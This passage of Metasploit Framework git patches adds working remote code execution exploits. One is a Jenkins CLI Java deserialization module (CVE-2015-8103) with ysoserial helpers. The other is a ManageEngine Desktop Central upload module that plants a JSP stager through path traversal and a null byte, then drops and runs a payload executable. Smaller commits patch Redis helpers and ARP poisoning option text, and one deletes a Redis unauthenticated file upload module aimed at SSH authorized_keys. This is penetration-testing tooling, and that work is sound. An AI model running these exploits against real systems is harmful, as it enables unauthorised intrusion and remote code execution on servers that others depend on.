(field == null && clazz.getSuperclass() != null) { + field = getField(clazz.getSuperclass(), fieldName); + } + field.setAccessible(true); + return field; + } + + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + field.set(obj, value); + } + + public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { + final Field field = getField(obj.getClass(), fieldName); + return field.get(obj); + } + + public static Constructor<?> getFirstCtor(final String name) throws Exception { + final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; + ctor.setAccessible(true); + return ctor; + } + +} diff --git a/external/source/exploits/CVE-2015-8103/payloads/util/Serializables.java b/external/source/exploits/CVE-2015-8103/payloads/util/Serializables.java new file mode 100755 index 0000000000..8c9573292a --- /dev/null +++ b/external/source/exploits/CVE-2015-8103/payloads/util/Serializables.java @@ -0,0 +1,34 @@ +package ysoserial.payloads.util; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; + +public class Serializables { + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + +} \ No newline at end of file diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb new file mode 100644 index 0000000000..6478da42f6 --- /dev/null +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability', + 'Description' => %q{ + This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on + the Jenkins master, which allows remote arbitrary code execution. Authentication is not + required to exploit this vulnerability. + }, + 'Author' => + [ + 'Christopher Frohoff', # Vulnerability discovery + 'Steve Breen', # Public Exploit + 'Dev Mohanty', # Metasploit module + 'Louis Sato', # Metasploit + 'William Vu', # Metasploit + 'juan vazquez', # Metasploit + 'Wei Chen' # Metasploit + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-8103'], + ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'], + ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], + ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], + ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Jenkins 1.637', {} ] + ], + 'DisclosureDate' => 'Nov 18 2015', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), + Opt::RPORT('8080') + ], self.class) + end + + def exploit + unless vulnerable? + fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") + end + invoke_remote_method(set_payload) + invoke_remote_method(class_load_payload) + end + + def check + result = Exploit::CheckCode::Safe + + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + + result + end + + def vulnerable? + http_headers = send_request_cgi({'uri' => '/'}).headers + if http_headers['X-Jenkins'].to_f <= 1.637 + @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i + return true + end + + false + end + + # Connects to the server, creates a request, sends the request, + # reads the response + # + # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. + # + def send_request_cgi(opts={}, timeout = 20) + if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 + actual_timeout = datastore['HttpClientTimeout'] + else + actual_timeout = opts[:timeout] || timeout + end + + begin + c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) + c.connect + r = c.request_cgi(opts) + c.send_recv(r, actual_timeout) + rescue ::Errno::EPIPE, ::Timeout::Error + nil + end + end + + def invoke_remote_method(serialized_java_stream) + begin + socket = connect(true, {'RPORT' => @jenkins_cli_port}) + + print_status 'Sending headers...' + socket.put(read_bin_file('serialized_jenkins_header')) + + vprint_status(socket.recv(1024)) + vprint_status(socket.recv(1024)) + + encoded_payload0 = read_bin_file('serialized_payload_header') + encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream) + encoded_payload2 = read_bin_file('serialized_payload_footer') + + encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}" + print_status "Sending payload length: #{encoded_payload.length}" + socket.put(encoded_payload) + ensure + disconnect(socket) + end + + end + + def print_status(msg='') + super("#{rhost}:#{rport} - #{msg}") + end + + # + # Serialized stream generated with: + # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java + # + def set_payload + stream = Rex::Java::Serialization::Model::Stream.new + + handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb') + decoded = stream.decode(handle) + handle.close + + inject_payload_into_stream(decoded).encode + end + + # + # Serialized stream generated with: + # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java + # + def class_load_payload + stream = Rex::Java::Serialization::Model::Stream.new + handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb') + decoded = stream.decode(handle) + handle.close + inject_class_loader_into_stream(decoded).encode + end + + def inject_class_loader_into_stream(decoded) + file_name_utf8 = get_array_chain(decoded) + .values[2] + .class_data[0] + .values[1] + .values[0] + .values[0] + .class_data[3] + file_name_utf8.contents = get_random_file_name + file_name_utf8.length = file_name_utf8.contents.length + class_name_utf8 = get_array_chain(decoded) + .values[4] + .class_data[0] + .values[0] + class_name_utf8.contents = 'metasploit.Payload' + class_name_utf8.length = class_name_utf8.contents.length + decoded + end + + def get_random_file_name + @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}" + end + + def inject_payload_into_stream(decoded) + byte_array = get_array_chain(decoded) + .values[2] + .class_data + .last + byte_array.values = payload.encoded.bytes + file_name_utf8 = decoded.references[44].class_data[0] + rnd_fname = get_random_file_name + register_file_for_cleanup(rnd_fname) + file_name_utf8.contents = rnd_fname + file_name_utf8.length = file_name_utf8.contents.length + decoded + end + + def get_array_chain(decoded) + object = decoded.contents[0] + lazy_map = object.class_data[1].class_data[0] + chained_transformer = lazy_map.class_data[0] + chained_transformer.class_data[0] + end + + def read_bin_file(bin_file_path) + data = '' + + File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f| + data = f.read + end + + data + end + +end From 9cec3d9e6b0b03608173011c3bd89e9ad2daded7 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 17:03:49 -0800 Subject: [PATCH 1582/2172] Move redis password option to non-advanced --- lib/msf/core/auxiliary/redis.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index f7f5c030f8..909aefb1e5 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -19,14 +19,14 @@ module Msf super register_options( [ - Opt::RPORT(6379) + Opt::RPORT(6379), + OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) ] ) register_advanced_options( [ - OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]), - OptString.new('Password', [false, 'Redis password for authentication test', 'foobared']) + OptInt.new('READ_TIMEOUT', [true, 'Seconds to wait while reading redis responses', 2]) ] ) end From 1a0f71b6fad27641376e6460f69c645715e92102 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 17:23:03 -0800 Subject: [PATCH 1583/2172] Try to catch case where post-auth commands are failing --- lib/msf/core/auxiliary/redis.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 909aefb1e5..5695b24fec 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -66,6 +66,8 @@ module Msf end end + return unless command_response + vprint_status("#{peer} -- redis command '#{printable_redis_response(commands.join(' '))}' got '#{printable_redis_response(command_response)}'") command_response end From e23908d672fb29d65d9c2625ca61908a78cf463f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 18:32:00 -0800 Subject: [PATCH 1584/2172] Improve verbose output related to authentication handling --- lib/msf/core/auxiliary/redis.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 5695b24fec..ffa67c0be1 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -50,7 +50,11 @@ module Msf end def redis_command(*commands) - return unless (command_response = send_redis_command(*commands)) + command_string = printable_redis_response(commands.join(' ')) + unless (command_response = send_redis_command(*commands)) + vprint_error("#{peer} -- no response to '#{command_string}'") + return + end if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password'] vprint_status("#{peer} -- requires authentication (#{printable_redis_response(auth_response, false)})") @@ -59,16 +63,18 @@ module Msf vprint_error("#{peer} -- authentication failure: #{printable_redis_response(auth_response)}") return end - command_response = send_redis_command(*commands) + vprint_status("#{peer} -- authenticated") + unless (command_response = send_redis_command(*commands)) + vprint_error("#{peer} -- no response to '#{command_string}") + return + end else vprint_status("#{peer} -- authentication failed; no response") return end end - return unless command_response - - vprint_status("#{peer} -- redis command '#{printable_redis_response(commands.join(' '))}' got '#{printable_redis_response(command_response)}'") + vprint_status("#{peer} -- redis command '#{command_string}' got '#{printable_redis_response(command_response)}'") command_response end From dcdc21e2dba48932385d92d07bea618b72dea247 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 18:44:14 -0800 Subject: [PATCH 1585/2172] Correct unbalanced quotes You down with OCD (Yeah you know me). --- lib/msf/core/auxiliary/redis.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index ffa67c0be1..98e1443d7d 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -65,7 +65,7 @@ module Msf end vprint_status("#{peer} -- authenticated") unless (command_response = send_redis_command(*commands)) - vprint_error("#{peer} -- no response to '#{command_string}") + vprint_error("#{peer} -- no response to '#{command_string}'") return end else From 6611da92394c8b437ecdc2e0c8f9bfa0e91a22dc Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 11 Dec 2015 19:22:57 -0800 Subject: [PATCH 1586/2172] strip, not stripgit diff. strip! returns nil if the string was unmodified --- lib/msf/core/auxiliary/redis.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/redis.rb b/lib/msf/core/auxiliary/redis.rb index 98e1443d7d..58412d3330 100644 --- a/lib/msf/core/auxiliary/redis.rb +++ b/lib/msf/core/auxiliary/redis.rb @@ -97,7 +97,7 @@ module Msf sock.put(redis_proto(command_parts)) command_response = sock.get_once(-1, read_timeout) return unless command_response - command_response.strip! + command_response.strip end end end From 90a523fb0a5cd626f56e791e96da2979b5d6ea9b Mon Sep 17 00:00:00 2001 From: radekk <radoslaw.karpowicz+git@gmail.com> Date: Sat, 12 Dec 2015 22:48:20 +0100 Subject: [PATCH 1587/2172] Typos inside parameters description. --- modules/auxiliary/spoof/arp/arp_poisoning.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index c8d1ec5ee8..5dab583df2 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]), OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]), - OptBool.new( 'LISTENER', [true, 'Use an additionnal thread that will listen to arp request and try to relply as fast as possible', true]) + OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen to arp request and try to reply as fast as possible', true]) ], self.class) register_advanced_options([ From 3bf5b106aeee41878b9e2c28d907f9ae2c9007ac Mon Sep 17 00:00:00 2001 From: Elia Schito <elia@schito.me> Date: Sun, 13 Dec 2015 00:28:14 +0100 Subject: [PATCH 1588/2172] =?UTF-8?q?Use=20SVG=20badges=20to=20please=20th?= =?UTF-8?q?e=20eyes=20=F0=9F=91=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Switched the CodeClimate one to the one that shows the score. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9d0ef82820..cf2077803a 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. From 4e492a1b0c6048e970545a077c5b3875b4fc2f13 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 13 Dec 2015 12:04:20 -0500 Subject: [PATCH 1589/2172] Add an additional grammar change to the listener option --- modules/auxiliary/spoof/arp/arp_poisoning.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 5dab583df2..e60bac50ee 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary OptString.new('INTERFACE', [false, 'The name of the interface']), OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]), OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]), - OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen to arp request and try to reply as fast as possible', true]) + OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true]) ], self.class) register_advanced_options([ From b620e0d1c94cd626128f0155e690c5c3217da911 Mon Sep 17 00:00:00 2001 From: Gregory Mikeska <greg_mikeska@rapid7.com> Date: Fri, 11 Dec 2015 11:09:37 -0600 Subject: [PATCH 1590/2172] bump nokogiri to 1.6.7 --- Gemfile.lock | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index e6ddf58246..13d695b6f3 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -137,14 +137,14 @@ GEM recog (~> 2.0) method_source (0.8.2) mime-types (2.6.1) - mini_portile (0.6.2) + mini_portile2 (2.0.0) minitest (4.7.5) msgpack (0.7.1) multi_json (1.11.2) multi_test (0.1.2) network_interface (0.0.1) - nokogiri (1.6.6.2) - mini_portile (~> 0.6.0) + nokogiri (1.6.7) + mini_portile2 (~> 2.0.0.rc2) openssl-ccm (1.2.1) packetfu (1.1.11) network_interface (~> 0.0) @@ -249,3 +249,6 @@ DEPENDENCIES simplecov timecop yard + +BUNDLED WITH + 1.10.6 From 5ffc80dc2077082c68611f8f4d642be8c316afb8 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 14 Dec 2015 10:51:59 -0600 Subject: [PATCH 1591/2172] Add ManageEngine ConnectionId Arbitrary File Upload Vulnerability --- .../http/manageengine_connectionid_write.rb | 210 ++++++++++++++++++ 1 file changed, 210 insertions(+) create mode 100644 modules/exploits/windows/http/manageengine_connectionid_write.rb diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb new file mode 100644 index 0000000000..4fdd998162 --- /dev/null +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -0,0 +1,210 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'nokogiri' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in ManageEngine Desktop Central 9. When + uploading a 7z file, the FileUploadServlet class does not check the user-controlled + ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to + inject a null bye at the end of the value to create a malicious file with an arbitrary + file type, and then place it under a directory that allows server-side scripts to run, + which results in remote code execution under the context of SYSTEM. + + Please note that by default, some ManageEngine Desktop Central versions run on port 8020, + but older ones run on port 8040. Also, using this exploit will leave debugging information + produced by FileUploadServlet in file rdslog0.txt. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'ManageEngine Desktop Central 9 on Windows', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Privileged' => false, + 'DisclosureDate' => "Dec 14 2015", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), + Opt::RPORT(8020) + ], self.class) + end + + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + def jsp_execute_command(command) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|try {\n| + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| + jspraw << %Q|} catch (IOException ioe) { }\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + def get_jsp_stager + exe = generate_payload_exe(code: payload.encoded) + jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp" + # pwd: C:\ManageEngine\DesktopCentral_Server\bin + # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf + register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}") + + { + jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname), + jsp_name: jsp_fname + } + end + + def get_build_number(res) + inputs = res.get_hidden_inputs + # The buildNum input is in the first form + inputs.first['buildNum'] + end + + def get_html_title(res) + html = res.body + n = ::Nokogiri::HTML(html) + n.at_xpath('//title').text + end + + def check + uri = normalize_uri(target_uri.path, '/configurations.do') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + unless res + vprint_error("Connection timed out") + return Exploit::CheckCode::Unknown + end + + build_number = get_build_number(res) + vprint_status("Found build number: #{build_number}") + + html_title = get_html_title(res) + vprint_status("Found title: #{html_title}") + + if build_number <= '91084' + return Exploit::CheckCode::Appears + elsif /ManageEngine Desktop Central/ === html_title + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def upload_jsp(stager_info) + # connectionId is part of the 7z filename + # computerName is part of the 7z filename (but will be used due to the null byte injection) + # customerId is used as a directory name + # + # The intended upload path is: + # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z + # But this will upload to: + # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf + + uri = normalize_uri(target_uri.path, 'fileupload') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => 'application/octet-stream', + 'encode_params' => false, + 'data' => stager_info[:jsp_payload], + 'vars_get' => { + 'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00", + 'resourceId' => Rex::Text.rand_text_alpha(1), + 'action' => 'rds_file_upload', + 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5), + 'customerId' => Rex::Text.rand_text_numeric(rand(10)+5) + } + }) + + if res.nil? + fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}") + elsif res && res.code != 200 + fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.") + end + end + + def exec_jsp(stager_info) + uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res.nil? + fail_with(Failure::Unknown, "Connection timed out while executing #{uri}") + elsif res && res.code != 200 + fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}") + end + end + + def exploit + print_status("Creating JSP stager") + stager_info = get_jsp_stager + + print_status("Uploading JSP stager #{stager_info[:jsp_name]}...") + upload_jsp(stager_info) + + print_status("Executing stager...") + exec_jsp(stager_info) + end + +end + From bd8aea26187b62bf62f010d30fbccb24c1ba22d4 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 14 Dec 2015 11:25:59 -0600 Subject: [PATCH 1592/2172] Fix check for jenkins_java_deserialize.rb This fixes the following: * nil return value checks * handle missing X-Jenkins-CLI-Port scenario more properly * proper HTTP path normalization --- .../linux/misc/jenkins_java_deserialize.rb | 58 +++++++++++++++++-- 1 file changed, 54 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index 6478da42f6..c7eec77106 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) register_options([ + OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) @@ -61,19 +62,68 @@ class Metasploit3 < Msf::Exploit::Remote invoke_remote_method(class_load_payload) end + + # This is from the HttpClient mixin. But since this module isn't actually exploiting + # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & + # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. + + def target_uri + begin + # In case TARGETURI is empty, at least we default to '/' + u = datastore['TARGETURI'] + u = "/" if u.nil? or u.empty? + URI(u) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + + # Makes sure there's a starting slash + unless new_str[0,1] == '/' + new_str = '/' + new_str + end + + new_str + end + def check result = Exploit::CheckCode::Safe - if vulnerable? - result = Exploit::CheckCode::Vulnerable + begin + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + return Exploit::CheckCode::Unknown end result end def vulnerable? - http_headers = send_request_cgi({'uri' => '/'}).headers - if http_headers['X-Jenkins'].to_f <= 1.637 + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + unless res + fail_with(Failure::Unknown, 'The connection timed out.') + end + + http_headers = res.headers + + unless http_headers['X-Jenkins-CLI-Port'] + vprint_error('The server does not have the CLI port that is needed for exploitation.') + return false + end + + if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end From b25aae3602b3dd504a95149ffd7905a94f2776c0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 14 Dec 2015 12:05:46 -0600 Subject: [PATCH 1593/2172] Add refs to module See rapid7#6344. --- .../exploits/windows/http/manageengine_connectionid_write.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/manageengine_connectionid_write.rb b/modules/exploits/windows/http/manageengine_connectionid_write.rb index 4fdd998162..e69b65abee 100644 --- a/modules/exploits/windows/http/manageengine_connectionid_write.rb +++ b/modules/exploits/windows/http/manageengine_connectionid_write.rb @@ -27,12 +27,15 @@ class Metasploit3 < Msf::Exploit::Remote Please note that by default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file rdslog0.txt. + + This exploit was successfully tested on version 9, build 90109 and build 91084. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'References' => [ - [ 'URL', 'http://metasploit.com' ] + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ], + [ 'CVE', '2015-8249'] ], 'Platform' => 'win', 'Targets' => From 19acd366d6ba6282c1d3b30e092aad291791c165 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 14 Dec 2015 10:07:41 -0800 Subject: [PATCH 1594/2172] Rename redis file upload module; remove the 'auth' part --- .../{unauth_upload_file.rb => file_upload.rb} | 0 .../scanner/redis/unauth_file_upload.rb | 130 ------------------ 2 files changed, 130 deletions(-) rename modules/auxiliary/scanner/redis/{unauth_upload_file.rb => file_upload.rb} (100%) delete mode 100644 modules/auxiliary/scanner/redis/unauth_file_upload.rb diff --git a/modules/auxiliary/scanner/redis/unauth_upload_file.rb b/modules/auxiliary/scanner/redis/file_upload.rb similarity index 100% rename from modules/auxiliary/scanner/redis/unauth_upload_file.rb rename to modules/auxiliary/scanner/redis/file_upload.rb diff --git a/modules/auxiliary/scanner/redis/unauth_file_upload.rb b/modules/auxiliary/scanner/redis/unauth_file_upload.rb deleted file mode 100644 index 91287c56fe..0000000000 --- a/modules/auxiliary/scanner/redis/unauth_file_upload.rb +++ /dev/null @@ -1,130 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::Tcp - include Msf::Auxiliary::Scanner - include Msf::Auxiliary::Report - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Redis Unauthenticated File Upload', - 'Description' => %q( - This module can save data to file in remote redis server, - Because redis is unprotected without a password set up. - ), - 'License' => MSF_LICENSE, - 'Author' => ['Nixawk'], - 'References' => [ - ['URL', 'http://antirez.com/news/96'], - ['URL', 'http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'], - ['URL', 'http://redis.io/topics/protocol'] - ])) - register_options( - [ - Opt::RPORT(6379), - OptPath.new('LocalFile', [true, 'Local file to be uploaded', '/root/.ssh/id_rsa.pub']), - OptString.new('RemoteFile', [true, 'Remote file path', '/root/.ssh/authorized_keys']), - 